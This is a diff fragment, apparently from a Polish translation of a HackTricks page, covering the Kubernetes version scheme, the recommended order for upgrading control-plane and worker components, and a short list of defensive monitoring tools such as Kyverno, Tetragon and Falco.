1.20.3 = 1(Major).20(Minor).3(patch) +[**Release cycles**](https://kubernetes.io/docs/setup/release/version-skew-policy/): Co 3 miesiące pojawia się nowe wydanie minor -- 1.20.3 = 1(Major).20(Minor).3(patch) -**Najlepszy sposób aktualizacji klastra Kubernetes (zgodnie z** [**here**](https://kubernetes.io/docs/tasks/administer-cluster/cluster-upgrade/)**):** +**Najlepszy sposób aktualizacji klastra Kubernetes jest (z** [**here**](https://kubernetes.io/docs/tasks/administer-cluster/cluster-upgrade/)**):** -- Zaktualizuj komponenty Master Node w następującej kolejności: -- etcd (wszystkie instancje). -- kube-apiserver (wszystkie hosty control plane). +- Zaktualizuj komponenty Master Node według następującej kolejności: +- etcd (all instances). +- kube-apiserver (all control plane hosts). - kube-controller-manager. - kube-scheduler. -- cloud controller manager, jeśli go używasz. +- cloud controller manager, if you use one. - Zaktualizuj komponenty Worker Node, takie jak kube-proxy, kubelet. -## Monitoring i bezpieczeństwo Kubernetes: +## Kubernetes monitoring & security: - Kyverno Policy Engine -- Cilium Tetragon - obserwacja bezpieczeństwa i egzekwowanie w czasie wykonania oparte na eBPF -- Polityki bezpieczeństwa sieci +- Cilium Tetragon - oparte na eBPF obserwowalność bezpieczeństwa i egzekwowanie w czasie wykonywania +- Network Security Policies - Falco - monitorowanie bezpieczeństwa w czasie wykonywania i wykrywanie {{#include ../../../banners/hacktricks-training.md}}